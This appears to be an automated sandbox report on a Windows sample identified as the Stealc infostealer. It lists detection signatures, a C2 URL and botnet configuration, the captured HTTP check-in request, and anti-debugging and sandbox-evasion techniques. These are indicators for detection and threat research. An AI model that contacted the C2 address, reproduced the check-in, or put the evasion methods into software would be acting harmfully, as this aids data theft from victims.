Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532474
MD5:	8008a506f397dc8e845a8b9bc62bded1
SHA1:	df3448212221cdab90c8f4468b4b61ec4e5a408b
SHA256:	541cd6146cb146b9700ea311b06ee7079a3818dc1dbac4f833c2b90ca17ce8d0
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1748 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8008A506F397DC8E845A8B9BC62BDED1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1706643703.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1748	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1748	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.bc0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T10:39:07.755961+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.bc0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/(	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php#	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.37//	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php;	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpl	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpC	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpg	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00BCC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00BC9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00BC7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00BC9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00BD8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BD38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BD4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BCDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00BCE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00BCED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BD4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BCF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BD3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BCDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BCBE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 38 30 42 30 44 31 33 36 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="hwid"2580B0D136AA1106654546------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build"doma------AECAKECAEGDHIECBGHII--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00BC4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 38 30 42 30 44 31 33 36 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="hwid"2580B0D136AA1106654546------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build"doma------AECAKECAEGDHIECBGHII--

Source: file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1749682268.00000000013F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/(
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37//
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php#
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpC
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg
Source: file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37R

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148	0_2_01095148
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8301E	0_2_00F8301E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F89808	0_2_00F89808
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01032829	0_2_01032829
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7A999	0_2_00F7A999
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8B98F	0_2_00F8B98F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6710A	0_2_00E6710A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7F904	0_2_00F7F904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010043CE	0_2_010043CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F76A03	0_2_00F76A03
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA13B1	0_2_00EA13B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F814E9	0_2_00F814E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E5B484	0_2_00E5B484
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8644C	0_2_00F8644C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7EC21	0_2_00F7EC21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7C40B	0_2_00F7C40B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F87DCA	0_2_00F87DCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F84D82	0_2_00F84D82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F00EF3	0_2_00F00EF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED26DF	0_2_00ED26DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F18662	0_2_00F18662
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED3F6A	0_2_00ED3F6A

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00BC45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: rwxwlxgf ZLIB complexity 0.9949040354330708

Source: file.exe, 00000000.00000003.1706643703.0000000005060000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00BD8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00BD3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\WUANH9Q9.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1781760 > 1048576

Source: file.exe

Static PE information: Raw size of rwxwlxgf is bigger than: 0x100000 < 0x18ce00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.bc0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rwxwlxgf:EW;nitsrzzh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rwxwlxgf:EW;nitsrzzh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00BD9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1bd610 should be: 0x1bdb03

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rwxwlxgf
Source: file.exe	Static PE information: section name: nitsrzzh
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01050900 push ecx; mov dword ptr [esp], edx	0_2_01050904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01050900 push 4718C9F3h; mov dword ptr [esp], esi	0_2_01050C12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01050900 push ebp; mov dword ptr [esp], edi	0_2_01050C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100F117 push eax; mov dword ptr [esp], edi	0_2_0100F168
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40D0 push esi; mov dword ptr [esp], ecx	0_2_00FE41A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148 push ebp; mov dword ptr [esp], edi	0_2_010951B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148 push ebx; mov dword ptr [esp], esp	0_2_010951C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148 push eax; mov dword ptr [esp], ebp	0_2_01095229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148 push ebx; mov dword ptr [esp], ecx	0_2_01095238
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01095148 push eax; mov dword ptr [esp], 236149D1h	0_2_010952CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push ecx; mov dword ptr [esp], ebx	0_2_00EE391C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push 2DAE596Bh; mov dword ptr [esp], eax	0_2_00EE3927
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push esi; mov dword ptr [esp], eax	0_2_00EE39BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push 1DB743B1h; mov dword ptr [esp], edx	0_2_00EE39CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push 7E5420BBh; mov dword ptr [esp], edi	0_2_00EE39D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push 62256DE4h; mov dword ptr [esp], esi	0_2_00EE39E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push 5796EEC3h; mov dword ptr [esp], edx	0_2_00EE3A46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push edx; mov dword ptr [esp], 60AA554Ah	0_2_00EE3A5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE38AA push ebp; mov dword ptr [esp], eax	0_2_00EE3AC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBE8A2 push 1344180Dh; mov dword ptr [esp], edi	0_2_00FBE8D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0105E977 push 16BA950Fh; mov dword ptr [esp], eax	0_2_0105E9BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF408B push esi; mov dword ptr [esp], eax	0_2_00FF40B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF408B push ebx; mov dword ptr [esp], edi	0_2_00FF40DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BDB035 push ecx; ret	0_2_00BDB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010181B3 push 72D2E081h; mov dword ptr [esp], eax	0_2_01018248
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010181B3 push ecx; mov dword ptr [esp], edx	0_2_01018275
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010481CC push 42A870E5h; mov dword ptr [esp], eax	0_2_0104830F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010481CC push ecx; mov dword ptr [esp], edi	0_2_01048313
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010481CC push eax; mov dword ptr [esp], ecx	0_2_0104832A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010949C7 push 36012492h; mov dword ptr [esp], eax	0_2_01094A14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010399D5 push 02CBE914h; mov dword ptr [esp], edi	0_2_01039B5E

Source: file.exe

Static PE information: section name: rwxwlxgf entropy: 7.9545126546693545

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00BD9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13624

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E222CF second address: E222D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21BCA second address: E21BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9012D second address: F90131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90131 second address: F90143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197ACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90143 second address: F90155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Bh 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
